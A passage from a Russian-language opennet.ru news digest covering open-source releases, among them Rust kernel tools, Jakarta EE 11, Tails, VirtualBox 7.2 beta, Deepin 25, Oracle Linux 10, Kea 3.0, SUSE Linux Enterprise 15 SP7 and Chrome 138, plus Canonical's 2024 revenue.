Операционная система оснащена графическим интерфейсом и поддерживает управление через клавиатуру и мышь. Для разработки графических приложений используется собственный тулкит с библиотекой виджетов. Для сетевого взаимодействия предлагаются TCP-стек и драйвер сетевого устройства. Среди доступных для Munal OS приложений: web-браузер с базовой поддержкой HTML и HTTPS, текстовый редактор и терминал для выполнения кода на Python. Код открыт под лицензией MIT.
- Состоялся выпуск ядра Asterinas 0.15.2, написанного на Rust и предоставляющего ABI, совместимый с ядром Linux. Ядро поддерживает архитектуры x86-64 и RISC-V, и реализует 206 из 368 системных вызовов Linux. В развитии ядра принимают участи 45 разработчиков, в основном из различных китайских университетов. Ядро построено с использованием архитектуры "framekernel", в которой компоненты ядра размещаются в общем адресном пространстве, а безопасность достигается на уровне логического разделения безопасного кода и кода, в котором не исключено возникновение проблем с безопасностью. Все системные вызовы, файловые системы и драйверы реализуются на уровне OS Services и не могут включать unsafe-блоки. Код распространяется под лицензией MPL 2.0.
- Для ядра Linux подготовлена утилита rsched, позволяющая анализировать статистику о работе планировщика задач. На практике утилита позволяет оценивать решения планировщика, связанные с предоставлением ресурсов процессам, а также отслеживать возникающие при планировании задержки. Для сбора данных в ядре используется подсистема BPF, а работающий в пространстве пользователя инструментарий написан на Rust. Автором утилиты является Крис Мейсон (Chris Mason), создатель и главный архитектор файловой системы Btrfs.
- Компания Collabora сообщила о разработке варианта инструментария Coccinelle для языка Rust. Coccinelle изначально предназначен для автоматизации поиска и преобразования кода на языке Си в ядре Linux. Преобразования задаются в форме правил, напоминающих абстрагированные патчи, не привязанные к конкретной позиции в коде.
- Разработчики GNOME представили библиотеку для загрузки изображений glycin, написанную на языке Rust и обеспечивающую декодирование изображений с применением sandbox-изоляции. Поддерживается отдача декодированного контента через gdk::Textures и извлечение метаданных.
Предоставляются обвязки для использования glycin в GTK4, а также бэкенд для задействования glycin в библиотеке GdkPixbuf, применяемой в GNOME для загрузки изображений. Glycin уже задействован в просмотрщике изображений Loupe, предлагаемом в GNOME по умолчанию. При этом бэкенд для GdkPixbuf даёт возможность использовать glycin в GNOME Shell, генераторах миниатюр и произвольных приложениях GNOME, без внесения изменений в эти программы.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63485
Библиотека построения графических интерфейсов Cosmoe, использующая Wayland и API в стиле BeOS
Представлена GUI-библиотека Cosmoe, поддерживающая работу в Linux в окружениях на базе Wayland. Cosmoe позволяет создавать программы с графическим интерфейсом на языке C++, применяя для формирования интерфейса API в стиле библиотеки классов операционной системы BeOS. Библиотека даёт возможность напрямую запускать в Linux программы, использующие API BeOS. Код проекта распространяется под лицензией MIT.
Cosmoe предлагает набор классов C++, позволяющих быстро и просто создавать интерфейсы пользователя. С одной стороны, Cosmoe существенно проще и компактнее таких тулкитов, как GTK и Qt, но, с другой стороны, позволяет создавать интерфейсы, более современно выглядящие, чем при использовании легковесных FLTK и Xforms. На устаревших системах Cosmoe даёт возможность добиться очень низкого потребления ресурсов, а на современных позволяет выжать из оборудования максимальную производительность, благодаря активному использованию многопоточности. Предоставляется коллекция примеров приложений, использующих Cosmoe для создания интерфейса, среди которых эмулятор терминала, редактор стилей и простые игры.
Библиотека основана как легковесное и не требующее серверных компонентов (app_server, registrar) ответвление от кодовой базы проекта Cosmoe Classic, переведённой на работу поверх композитных серверов, использующих протокол Wayland. Проект Cosmoe Classic занимался портированием окружения Haiku OS для работы поверх ядра Linux и использовал отрисовку интерфейса в окне, созданном при помощи библиотеки SDL. Разработка Cosmoe Classic была возрождена в прошлом году после семнадцатилетнего перерыва.
В настоящее время проект переориентирован с разработки форка ОС Haiku на создание обособленной библиотеки для создания графических приложений для Linux. На текущем этапе разработка находится на альфа-стадии, при этом библиотека уже поддерживает около 95% от всех возможностей API BeOS. Из наиболее важных ограничений отмечается отсутствие поддержки не привязанных к экрану экземпляров типа BBitmap, необходимых для аппаратного ускорения отрисовки, и неготовность API BFilePanel, формирующего диалоги для открытия и сохранения файлов.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63483
Apple обеспечит поддержку разработки Android-приложений на языке Swift
Компания Apple сформировала рабочую группу для сопровождения поддержки платформы Android в инструментарии, связанном с языком программирования Swift, а также продвижении Swift в качестве языка для разработки мобильных приложений для Android. Android будет добавлен в число платформ, официально поддерживаемых в Swift.
Основные задачи, которая будет решать созданная рабочая группа:
- Улучшение и сопровождение поддержки Android в официальном инструментарии Swift, избавление от необходимости использования сторонних патчей для поддержки Android.
- Расширение возможностей базовых пакетов, таких как Foundation и Dispatch, для более качественной поддержки подходов, применяемых при разработке приложений для Android.
- Работа с группой, отвечающей за поддержку платформ в Swift, для официального определения уровней поддержки платформ и их постепенной реализации для Android.
- Определение диапазона поддерживаемых API Android и проведение работы по их интеграции со Swift.
- Разработка механизма непрерывной интеграции для проверки связанных с Android изменений в Swift.
- Разработка рекомендаций по организации взаимодействия между Swift и Android Java SDK, а также распространению Swift-библиотек для Android.
- Развитие инструментов для отладки Swift-приложений для Android.
- Содействие добавлению поддержки Android в различные пакеты на Swift, развиваемые сообществом.
Язык Swift сочетает лучшие элементы языков C и Objective-C, и предоставляет объектную модель, совместимую с Objective-C (Swift-код может смешиваться с кодом на С и Objective-C), но отличается использованием средств автоматического распределения памяти, контроля переполнения переменных и массивов, защитой от использования неинициализированных переменных и блокированием доступа к памяти после её освобождения, что значительно увеличивает надёжность и безопасность кода. Swift также предлагает множество современных методов программирования, таких как замыкания, обобщённое программирование, лямбда-выражения, кортежи и словарные типы, быстрые операции над коллекциями, элементы функционального программирования.
Pеализация Swift построена с задействованием технологий проекта LLVM. Для обеспечения высокой производительности Swift-программы компилируются в машинный код, который в проведённых тестах демонстрирует производительность на 30% опережающую код на Objective-C. Вместо сборщика мусора в Swift используются средства подсчёта ссылок на объекты. В поставку входит пакетный менеджер Swift Package Manager, предоставляющий инструменты для распространения модулей и пакетов с библиотеками и приложениями на языке Swift, управления зависимостями, автоматизированной загрузки, сборки и связывания компонентов.
Компилятор и инструментарий для языка Swift распространяется под лицензией Apache 2.0.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63482
В 2024 году выручка компании Canonical составила 291 млн. долларов
Компания Canonical опубликовала финансовый отчёт за 2024 год, в соответствии с которым выручка за прошлый год составила 291 млн долларов. Для сравнения в 2023 году был получен $251 млн, в 2022 году - $205 млн, а в 2013 - $84 млн. Валовая прибыль компании за 2024 год составила $258.3 млн (в 2023 году - $218.5 млн), а операционная прибыль - $15.5 млн (в 2023 году - $11.2 млн).
Что касается расходов, то $77.5 млн (в 2023 году - $75.4 млн) было потрачено на организацию продаж и маркетинг; $36.7 млн ($31.6 млн) на разработку и исследования; $138 млн ($108 млн) на административные расходы. В 2024 году в компании было трудоустроено 1175 сотрудников (в 2023 году насчитывалось 1034 сотрудника, в 2022 году - 858, а в 2014 году - 337 сотрудников).
Источник: https://www.opennet.ru/opennews/art.shtml?num=63481
Доступна платформа Jakarta EE 11, продолжающая развитие Java EE
Сообщество Eclipse представило платформу Jakarta EE 11. Jakarta EE пришёл на смену Java EE (Java Platform, Enterprise Edition) после передачи процессов разработки спецификаций, TCK и эталонной реализации в руки некоммерческой организации Eclipse Foundation. Платформа продолжила развитие под новым именем так как компания Oracle передала только технологии и управление проектом, но не передала сообществу Eclipse права на использование торговой марки Java.
Среди изменений в новой версии:
- Проведена модернизация и реструктуризация тестов для оценки совместимости - TCK (Test Compatibility Kits). Осуществлён переход с Apache Ant и Java Test Harness на JUnit 5 и Apache Maven.
- В состав включён новый компонент Jakarta Data 1.0, предоставляющий API для упрощения доступа к данным в БД. В составе предложены интерфейсы BasicRepository и CrudRepository для доступа к репозиториям Jakarta Data, интерфейс Pagination для доступа к отдельным порциям данных, а также упрощённый язык формирования запросов.
- Добавлена поддержка Java SE 21 и новых возможностей данной ветки, таких как виртуальные потоки.
- В Jakarta Persistence 3.2 добавлена возможность пометки шаблонов записей Java SE (record) как @Embeddable или @IdClass. Обеспечен автоматический маппинг java.time.Instant и java.time.Year во встроенные типы.
- В Jakarta Validation 3.1 появилась поддержка применения правил валидации к шаблонам записей.
- В Persistence 3.2 объявлены устаревшими java.util/java.sql, Date/Time/Timestamp/Calendar и @Temporal, вместо которых следует использовать API java.time.
- Обновлены спецификации 16 компонентов Jakarta EE: Authorization 3.0, Authentication 3.1, Concurrency 3.1, CDI 4.1, Expression Language 6.0, Faces 4.1, Security 4.0, Servlet 6.1, Persistence 3.2, Pages 4.0, WebSocket 2.2, Validation 3.1, RESTful Web Services 4.0, Annotations 3.0, Interceptors 2.2 и CDI Lite 4.1.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63479
Выпуск дистрибутива Tails 6.17
Представлен релиз специализированного дистрибутива Tails 6.17 (The Amnesic Incognito Live System), развиваемого в составе проекта Tor. Дистрибутив основан на пакетной базе Debian 12, поставляется с рабочим столом GNOME 43 и предназначен для анонимного выхода в сеть при помощи инструментария Tor. Все соединения, кроме трафика через сеть Tor, по умолчанию блокируются пакетным фильтром. Для хранения пользовательских данных в режиме сохранения пользовательских данных между запусками применяется шифрование. Для загрузки подготовлен iso-образ, способный работать в Live-режиме, размером 1 ГБ.
В новой версии обновлены Tor Browser 14.5.4 и дополнение uBlock Origin 1.62.0. Сокращён размер загрузочного образа за счёт удаления дублирующегося микрокода к CPU. В диалоге запроса пароля на странице блокировки экрана реализована опция для показа введённого пароля.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63480
Второй бета-выпуск VirtualBox 7.2
Компания Oracle опубликовала второй бета-выпуск системы виртуализации VirtualBox 7.2. Релиз ожидается летом. Сборки со второй бета-версией VirtualBox 7.2 подготовлены для RHEL 8/9/10, Fedora 36/40, openSUSE 15.6, Ubuntu 20.04/22.04/24.04/24.10, Debian 11/12, macOS и Windows. Код проекта написан на языке C++ и распространяется под лицензией GPLv2+.
Основные изменения по сравнению с первой бета-версией:
- На системах, использующих Windows Hyper-V в качестве движка виртуализации, в менеджере виртуальных машин улучшен вывод сведений о возможностях CPU x86_64 и ARM. Добавлена обработка инструкций xsave/xrestor и задействованы расширения набора команд x86_64-v3, такие как AVX и AVX2.
- Налажена работа возможностей для вложенной виртуализации (Nested Virtualization) на CPU Intel.
- В графическом интерфейсе улучшены страницы с настройками. Улучшено управление светодиодными индикаторами на клавиатуре. Из настроек ARM VM убран IO-APIC.
- Улучшена работа транслятора адресов, например, улучшено сохранение настроек виртуальной машины и работа с DNS-серверами, а также унифицировано использование связанного с NAT кода в различных подсистемах.
- В дополнениях для хостов и гостевых систем с Linux добавлена поддержка ядра 6.16.
- Для гостевых систем с Windows, использующих платформу ARM, добавлен графический драйвер WDDM и реализована поддержка совместных папок (Shared Folder).
Источник: https://www.opennet.ru/opennews/art.shtml?num=63478
Доступен дистрибутив Deepin 25, развивающий собственное графическое окружение
Опубликован релиз дистрибутива Deepin 25, развивающего собственный рабочий стол Deepin Desktop Environment (DDE), а также около 40 пользовательских приложений, среди которых музыкальный проигрыватель Deepin Music, видеоплеер Deepin Movie, инсталлятор и центр установки программ Deepin Store. Проект основан группой разработчиков из Китая, но трансформировался в международный проект и поддерживает русский язык. Репозиторий дистрибутива включает более 8000 пакетов. Все наработки распространяются под лицензией GPLv3. Размер загрузочных iso-образов 6 ГБ (amd64, arm64 и loongarch64).
Компоненты рабочего стола и приложения разрабатываются с использованием языков C/C++ и Go. Графический интерфейс построен с использованием библиотеки Qt. Ключевой особенностью рабочего стола Deepin является панель, которая поддерживает несколько режимов работы. В классическом режиме осуществляется более явное отделение открытых окон и предлагаемых для запуска приложений, отображается область системного лотка. Эффективный режим чем-то напоминает Unity, смешивая индикаторы запущенных программ, избранных приложений и управляющих апплетов (настройка громкости/яркости, подключённые накопители, часы, состояние сети и т.п.). Интерфейс запуска программ предоставляет два режима - просмотр избранных приложений и навигация по каталогу установленных программ.
Среди изменений:
- Конфигуратор и интерфейс вывода уведомлений переписаны с использованием QML.
- Оптимизирован и унифицирован визуальный стиль элементов интерфейса, применяемых в приложениях для среды рабочего стола DDE (Deepin Desktop Environment).
- В конфигураторе задействована новая компоновка интерфейса, состоящая из боковой панели с элементами навигации и основной области с настройками. Добавлены многоуровневые настройки оконных эффектов. Добавлена поддержка закрепления панели задач. В настройках звука предоставлена возможность слияния звуковых каналов. В блок быстрых операций добавлены средства для создания и восстановления резервных копий.
- В интерфейсе запуска программ (Launcher) реализован режим сортировки списка приложений по названиям в алфавитном порядке.
- В файловом менеджере расширены возможности поиска, обеспечена подсветка найденных ключевых слов и реализован вывод результатов по мере набора поискового запроса. Добавлена кнопка создания новой вкладки. Реализована поддержка скрытия верхнего меню.
- Для пользователей ноутбуков предоставлена возможность настройки управляющих жестов с касанием тремя и четырьмя пальцами к тачпаду.
- Расширены возможности AI-ассистента. Добавлен отдельный индикатор AI-ассистента на панели задач. При выделении текста на любом экране теперь автоматически появляется пиктограмма AI-ассистента, через которую можно запросить перевод, резюмирование и пояснение сути выбранного фрагмента. Унифицированы настройки AI-моделей.
- Добавлена поддержка голосовых команд, при помощи которых можно выполнять различные системные операции, формируя задачи на естественном языке без обращения к меню.
- Реализован комбинированный режим работы AI-ассистента, при наличии сетевого соединения позволяющий использовать крупные AI-модели, такие как DeepSeek, Baidu Qianfan и iFlytek Spark, а при работе в offline или при заботе о конфиденциальности применять компактную модель "UnionTech YouRong", выполняемую на локальной системе.
- Предложен сервис Agent Store, позволяющий загружать дополнительные агенты к AI-ассистенту для выполнения расширенных задач.
- В механизм установки и обновления системы, использующий атомарную замену системных образов, добавлена поддержка вторичных снапшотов (Second-Level Snapshot) - перед каждым обновлением системы автоматически создаются резервные снапшоты, обеспечивающие сохранение прошлых состояний и позволяющие вернуться к рабочей системе в случае сбоя при обновлении. Реализована возможность установки драйверов и приложений в форме расширений системы. Добавлен интерфейс для отключения и обновления расширений. Реализован режим инкрементального атомарного обновления.
- Для защиты от модификации системных компонентов вредоносным ПО, обеспечено монтирование базовых каталогов, таких как /usr/bin, в режиме только для чтения.
- Добавлен движок самоочистки (Self-Cleaning Engine), позволяющий при работе на общедоступных устройствах автоматически подчищать следы своей работы при перезагрузке. Компоненты не подлежащие чистке могут быть сохранены через занесение в белый список.
- Продолжено развитие инструментария управления пакетами и формата пакетов Linyaps. Благодаря применению в Linyaps изолированных контейнеров, включающих зависимости, Linyaps-пакеты не привязаны к конкретному дистрибутиву и могут без пересборки устанавливаться в Debian, Ubuntu, Arch, Fedora и openEuler. Поддерживаемый проектом репозиторий включает более 5000 пакетов, собранных для архитектур AMD64, ARM64 и LoongArch64.
- Добавлен инструментарий Distrobox, позволяющий быстро установить и запустить в контейнере любой дистрибутив Linux и обеспечить его интеграцию с основной системой. В каталоге App Store доступны образы для создания окружений на базе Debian 12, Ubuntu 20.04/24.04, Arch Linux и Fedora 41/42.
- Для тестирования предложен экспериментальный композитный сервер Treeland Window Compositor, отличающийся высокой производительностью анимированных эффектов и поддержкой управления жестами на тачпаде. Treeland поддерживает темы оформления, типовые операции с окнами, управление задачами, интерфейс переключения задач с предпросмотром содержимого окон, корректировку параметров масштабирования в многомониторных конфигурациях.
- Для шифрования дисков вместо SM4 задействован алгоритм AES.
- Добавлена поддержка резервного копирования пользовательских данных.
- В текстовый редактор и систему заметок добавлена поддержка голосового ввода.
- Добавлен компонент Cross-Device Collaboration для интеграции со смартфоном, позволяющий отвечать с рабочего стола на SMS-сообщения и управлять мобильными приложениями с большого экрана.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63477
Выпуск дистрибутива Oracle Linux 10
Компания Oracle опубликовала дистрибутив Oracle Linux 10, созданный на основе пакетной базы Red Hat Enterprise Linux 10 и полностью бинарно совместимый с ней. Для загрузки без ограничений предложены установочные iso-образы, размером 8.5 ГБ и 1.1 ГБ, подготовленные для архитектур x86_64 и ARM64 (aarch64). Для Oracle Linux 10 открыт неограниченный и бесплатный доступ к yum-репозиторию с бинарными обновлениями пакетов с устранением ошибок (errata) и проблем безопасности. Для загрузки также подготовлены отдельно поддерживаемые репозитории с наборами пакетов Application Stream и CodeReady Builder.
Помимо пакета с ядром из состава RHEL (на базе ядра 6.12) в Oracle Linux предложено собственное ядро Unbreakable Enterprise Kernel 8.1 (UEK 8U1), также основанное на ядре Linux 6.12 и оптимизированное для работы с промышленным программным обеспечением и оборудованием Oracle. В обновлении ядра UEK 8U1 по умолчанию включена
опция SECURITY_DMESG_RESTRICT, разрешающая доступа к dmesg только при наличии прав root. Драйверы megaraid_sas, mpi3mr и mpt3sas бэкпортированы из ядра 6.15.
Исходные тексты ядра, включая разбивку на отдельные патчи, доступны в публичном Git-репозитории Oracle. Ядро Unbreakable Enterprise Kernel устанавливается по умолчанию, позиционируется в качестве альтернативы штатному пакету с ядром RHEL и предоставляет ряд расширенных возможностей, таких как интеграция DTrace и улучшенная поддержка Btrfs. Кроме дополнительного ядра по функциональности выпуски Oracle Linux 10 и RHEL 10 полностью идентичны (список изменений можно посмотреть в анонсе RHEL 10).
Источник: https://www.opennet.ru/opennews/art.shtml?num=63476
Выпуск DHCP-сервера Kea 3.0, развиваемого консорциумом ISC
Консорциум ISC опубликовал релиз DHCP-сервера Kea 3.0, идущего на смену классическому ISC DHCP. Kea 3.0 отмечен как первый выпуск, для которого будет обеспечен длительный цикл сопровождения (LTS) - обновления будут выпускаться в течение трёх лет. Новые значительные стабильные выпуски планируют формировать раз в полгода, а не раз в год. Исходные тексты проекта распространяются под лицензией Mozilla Public License (MPL) 2.0, вместо ранее применяемой для ISC DHCP лицензии ISC License.
DHCP-сервер Kea основан на технологиях BIND 10 и построен с использованием модульной архитектуры, подразумевающей разбиение функциональности на разные процессы-обработчики. Продукт включает в себя полнофункциональную реализацию сервера с поддержкой протоколов DHCPv4 и DHCPv6, способную заменить собой ISC DHCP. В Kea встроены средства динамического обновления DNS-зон (Dynamic DNS), поддерживаются механизмы обнаружения серверов, назначения адресов, обновления и переподключения, обслуживания информационных запросов, резервирования адресов для хостов и PXE-загрузки. В реализации DHCPv6 дополнительно предусмотрена возможность делегирования префиксов.
Информация о выделенных адресах и параметрах клиентов может храниться в разных хранилищах, например, предоставляются бэкенды для хранения в файлах CSV, СУБД MySQL, Apache Cassandra и PostgreSQL. Параметры резервирования хостов могут быть заданы в файле конфигурации в формате JSON или в виде таблицы в MySQL и PostgreSQL. В состав входит инструмент perfdhcp для измерения производительности сервера DHCP и компоненты для сбора статистики. Для взаимодействия с внешними приложениями предоставляется специальный API. Возможно обновление конфигурации на лету без перезапуска сервера.
Ключевые улучшения в Kea 3.0:
- В категорию открытых и бесплатно распространяемых переведено большинство библиотек TWELVE Kea с подключаемыми обработчиками (hook-ами), ранее доступными под коммерческой лицензией (коммерческими остались только обработчики RBAC и Configuration Backend, а остальные 12 обработчиков открыты под лицензией MPL 2.0). Изменён процесс распространения подключаемых обработчиков - для установки больше не требуется токен доступа. Открытые библиотеки включены в основной архив с исходным кодом Kea и доступны для установки из официальных репозиториев ISC.
Среди возможностей, предоставляемых открытыми обработчиками: манипуляции с классами DHCP-клиентов без перезапуска DHCP-сервера, обновление DDNS (Dynamic DNS) в привязке к клиентам, гибкое назначение идентификаторов клиентам, ведение расширенных логов, использование GSS-TSIG для аутентификации, кэширование ответов от других хостов, вынос хранилища резервирования хостов в отдельную СУБД, ограничение интенсивности запросов, ping-проверка адресов перед выдачей клиентам, интеграция с RADIUS-серверами, управление настройками подсетей без перезапуска,
поддержка расширений DHCPv4/DHCPv6 Leasequery. Открытые обработчики могут использоваться для настройки подсетей и резервирования хостов через web-интерфейс Stork.
- Добавлены дополнительные проверки и меры усиления защиты, реализованные по мотивам недавно выявленных уязвимостей. После перехода на Kea 3.0 администраторам потребуется выставить новые пароли и настроить более надёжную защиту доступа к интерфейсам удалённого управления.
- Добавлена встроенная поддержка HTTP/TLS. Для организации удалённого доступа больше не требуется Kea Control Agent и удостоверяющий центр (CA), что существенно упрощает настройку. В фоновые процессы DHCPv4, DHCPv6 и DHCP-DDNS встроена поддержка обращения к API через HTTP и TLS без использования Control Agent (CA). В будущих выпусках планируют удалить Kea Control Agent.
- С целью упрощения миграции с ISC DHCP изменена классификация клиентов. Предоставлена возможность добавления опций в привязке к клиенту или подсети. Поведение при наследовании опций приближено к ISC DHCP.
- В DHCPv6 реализован механизм регистрации адресов (RFC 9686), позволяющий вместо назначения сервером адреса, генерировать адрес на стороне устройства, используя SLAAC (Stateless Address Autoconfiguration), после чего передавать сведения о сгенерированном адресе на DHCPv6-сервер.
- Модернизирована сборочная система, которая переведена с Auto Tools на инструментарий Meson.
- Код для поддержки бэкендов хранения на базе MySQL и PostgreSQL вынесен в отдельные библиотеки. Данные бэкенды теперь не являются обязательными для установки - если не требуется поддержка MySQL и PostgreSQL, при установке Kea больше не требуется установка связанных с СУБД зависимостей.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63474
Выпуск mmc-utils 1.0, утилит для управления картами памяти MMC и SD
Опубликован релиз набора утилит mmc-utils 1.0, предназначенного для низкоуровневой настройки устройств хранения MMC, eMMC, SD и SDIO из пространства пользователя. Выпуск отмечен как первый официальный релиз (проект развивается с 2012 года). Код написан на языке Си и распространяется под лицензией GPLv2.
Утилиты могут использоваться для чтения регистров CSD (параметры карты), CID (идентификатор карты) и SCR (конфигурация карты), установки защиты от записи (временной или постоянной, а также затрагивающей лишь отдельные регионы устройства), настройки аутентификации и конфигурирования специфичных для eMMC возможностей, таких как размер сектора, BKOPS, управление кэшем и аппаратный сброс.
Для работы данных утилит требуется система с "настоящим" хостом mmchci. Устройства, наподобие usb-картридеров, представляющие доступ к картам хранения в форме "USB mass storage", не подходят для работы с этими утилитами, так как не позволяют отправлять на устройство команды MMC.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63472
Доступен дистрибутив SUSE Linux Enterprise 15 SP7
После года разработки компания SUSE представила релиз дистрибутива SUSE Linux Enterprise 15 SP7. На основе платформы SUSE Linux Enterprise сформированы такие продукты, как SUSE Linux Enterprise Server, SUSE Linux Enterprise Desktop, SUSE Linux Enterprise High Performance Computing и SUSE Linux Enterprise High Availability Extension. Дистрибутив можно загрузить и использовать бесплатно, но доступ к получению обновлений и исправлений ограничен 60-дневным пробным периодом. Выпуск доступен в сборках для архитектур aarch64, ppc64le, s390x и x86_64. Выпуск будет поддерживаться до июня 2031 года, не считая расширенных программ поддержки LTSS и LTSS Core, которые будут действовать до 2034 и 2037 годов.
В отличие от прошлых выпусков формировать релиз openSUSE Leap 15.7 на базе SUSE Linux Enterprise 15 SP7 не планируется. На смену openSUSE Leap 15.6 придёт выпуск openSUSE Leap 16.0, релиз которого ожидается осенью. openSUSE Leap 16 основан на технологиях находящейся в разработке ветки SUSE Linux Enterprise 16, но сохраняет черты классического дистрибутива, использующего традиционные пакеты. При этом в openSUSE Leap 16 задействован новый инсталлятор, осуществлён переход на систему мандатного контроля доступа SELinux и оставлена только поддержка Wayland.
Основные изменения в SUSE Linux Enterprise 15 SP7:
- В дистрибутиве продолжено использование ядра Linux 6.4, в которое из более свежих веток бэкпортированы дополнительные возможности. Например, из ветки 6.11 перенесены изменения, связанные с UEFI, хранилищем криптоключей и ACPI. В криптоподсистему добавлена поддержка MSA 10 XTS, MSA 11 HMAC и MSA 12 SHA3. Реализована возможность балансировки нагрузки на CPU, используя cgroupv2. Обновлён код для поддержки USB4.
- Обновлены версии пакетов, среди которых GCC 14, Python 3.13, OpenJDK 21, Node.js 22, PHP 8.3, OpenSSL 3.2, binutils 2.43.10, gdb 14.2, go 1.24.2, Rust 1.86, Ruby 3.4, Valkey 8.0.2 (вместо Redis), PostgreSQL 17. Окружение рабочего стола продолжает поставляться с GNOME 45, но пакет Mesa обновлён до выпуска 24.2.
- По умолчанию включена поддержка постквантовых алгоритмов шифрования, доступных в OpenSSL, таких как алгоритм обмена ключами ML-KEM (CRYSTALS-Kyber), стойкий к подбору на квантовом компьютере.
- Расширена поддержка оборудования и обновлены драйверы устройств. Реализована поддержка серверных платформ Intel Birch Stream, клиентских CPU Intel Arrow и Lunar Lake, процессоров AMD на базе микроархитектуры Zen 5, GPU AMD Navi 4x и платформ IBM z17 и LinuxONE 5. Добавлены новые драйверы: Ice, ixgbe, IPU, SR-IOV hybrid DMA.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63470
Mozilla свернула проект DeepSpeech, развивавший движок распознавания речи
Компания Mozilla перевела в архивных режим репозиторий с открытым движком распознавания речи DeepSpeech. Последним изменением в кодовой базе стало исправление файла README, в который была добавлена информация о прекращении разработки проекта. До этого последний коммит был датирован 2021 годом.
Фактически развитие DeepSpeech остановилось ещё в 2020 году, после увольнения из Mozilla всех разработчиков движка. Разработчики из команды DeepSpeech перешли в стартап Coqui для работы над инструментарием STT. Два года назад стартап прекратил своё существования и пользователям было рекомендовано перейти на открытую систему распознавания речи Whisper от компании OpenAI.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63469
Выпуск web-браузера Chrome 138
Компания Google опубликовала релиз web-браузера Chrome 138. Одновременно доступен стабильный выпуск свободного проекта Chromium, выступающего основой Chrome. Браузер Chrome отличается от Chromium использованием логотипов Google, наличием системы отправки уведомлений в случае краха, модулями для воспроизведения защищённого от копирования видеоконтента (DRM), системой автоматической установки обновлений, постоянным включением Sandbox-изоляции, поставкой ключей к Google API и передачей RLZ-параметров при поиске. Для тех, кому необходимо больше времени на обновление, отдельно поддерживается ветка Extended Stable, сопровождаемая 8 недель. Следующий выпуск Chrome 139 запланирован на 5 августа.
Основные изменения в Chrome 138:
- В адресной строке и на странице открытия новой вкладки реализован AI-режим вывода рекомендаций, связанных с вводимым поисковым запросом.
- В адресной строке в системе контекстных рекомендаций реализована возможность получения информации о странице через Google Lens, задав вопросов на естественном языке или указав на объект на экране.
- Некоторым пользователям, привязавшим браузер к учётной записи в Google, предложена новая форма включения синхронизации вкладок и истории навигации между устройствами, реализованная в виде сообщения-подсказки, рядом с профилем пользователя.
- При использовании дополнений, меняющих содержимое страницы открытия новой вкладки, сведения об изменившем содержимое дополнении теперь показываются в нижней части страницы.
- Добавлена поддержка групп совместных вкладок, с которыми совместно могут работать несколько пользователей. Пользователь может создать набор вкладок и поделиться им с другими пользователями, которые будут видеть те же вкладки на своих устройствах. В случае, если кто-то из участников поменяет вкладку в группе, изменение будет сразу отражено и на устройствах других пользователей. Создание групп пока доступно только для пользователей тестовых сборок (Beta/Dev/Canary).
- Предоставлена возможность выборочного предоставления доступа отдельных дополнений к API userScript без необходимости активации режима разработчика (Developer Mode).
- Реализована поддержка механизма TLS 1.3 Early Data, позволяющего клиенту отправлять GET-запросы до завершения стадии согласования TLS-соединения.
- Добавлена возможность сохранения закладок и списка для чтения в своей учётной записи в Google.
- Реализован вывод предупреждения о мошеннических страницах, выявленных большой языковой моделью на основе анализа содержимого. Использование AI применяется в режиме расширенной защиты браузера (Safe Browsing > Enhanced protection). AI-модель выполняется на стороне клиента, но в случае выявления подозрений на сомнительный контент, выполняется дополнительная проверка на серверах Google.
- Обеспечена синхронизация настроек режима расширенной защиты (Safe Browsing > Enhanced protection) между браузерами на разных устройствах пользователя (при включении расширенной защиты на одном устройстве, она будет активирована и на других устройствах, привязанных к одной учётной записи).
- Реализован API Translator предоставляющий возможности для перевода текста с одного языка на другой. В качестве примера применения упоминается интеграция функции перевода в web-чат. Для перевода задействована AI-модель Gemini Nano, выполняемая на локальной системе пользователя.
- Реализован API Language Detector, позволяющий определять язык по фрагменту текста.
- Реализован API Summarizer для резюмирования текстов (краткого изложения сути) или генерации заголовков и описаний, используя большую языковую модель.
- Добавлен API Viewport Segments для организации вывода на устройства со складными экранами.
- В версии для Android добавлена возможность использования API Web Serial для подключения к последовательному порту поверх Bluetooth.
- В соответствии с изменениями в спецификации HTML, нацеленными на защиту от XSS-атак, включено экранирование символов "<" и ">" при сериализации атрибутов HTML-элементов. Методы Element.innerHTML, Element.outerHTML, Element.getHTML, ShadowRoot.innerHTML и ShadowRoot.getHTML теперь будут заменять символы "‹" и "›" на "<" и ">" при сериализации HTML в строку.
- Добавлены новые CSS-функции abs() и sign() для определения абсолютного значения и знака числа; progress() для вычисления промежуточного значения между двумя другими значениями; sibling-index() и sibling-count() для стилизации элементов на основе позиции или числа соседних элементов.
- В CSS добавлено ключевое слово "stretch", позволяющее элементам растягиваться до тех пор, пока они полностью не заполнят доступное пространство блока.
- В инструментах для web-разработчиков расширены возможности для анализа производительности. Упрощена отладка сложных CSS-значений. При инспектировании сетевой активности появилась возможность фильтрации на основе наличия заданных HTTP-заголовков.
Для обычных пользователей включён AI-ассистент, способный пояснять суть ошибок и предупреждений, выводимых в web-консоли, а также давать рекомендации по их устранению.
- В системе сборки проекта Chromium осуществлён переход с инструментария Ninja на сборочную систему Siso, которая может использоваться в качестве прозрачной замены Ninja, поддерживающей удалённое выполнение сборочных работ. Siso включает ряд оптимизаций для сокращения времени сборки и потребления памяти, таких как минимизация дисковых и сетевых операций, совместное использование памяти. Система также поддерживает сбор детальных метрик о производительности для профилирования сборочного процесса.
Кроме нововведений и исправления ошибок в новой версии устранены 11 уязвимостей. Многие из уязвимостей выявлены в результате автоматизированного тестирования инструментами AddressSanitizer, MemorySanitizer, Control Flow Integrity, LibFuzzer и AFL. Критических проблем, которые позволяют обойти все уровни защиты браузера и выполнить код в системе за пределами sandbox-окружения, не выявлено. В рамках программы по выплате денежного вознаграждения за обнаружение уязвимостей для текущего релиза компания Google выплатила 3 премии на сумму 6000 долларов США (по одной премии в $1000 и одна премия $4000).
Источник: https://www.opennet.ru/opennews/art.shtml?num=63468
Применение книг для обучения AI-моделей признано добросовестным использованием
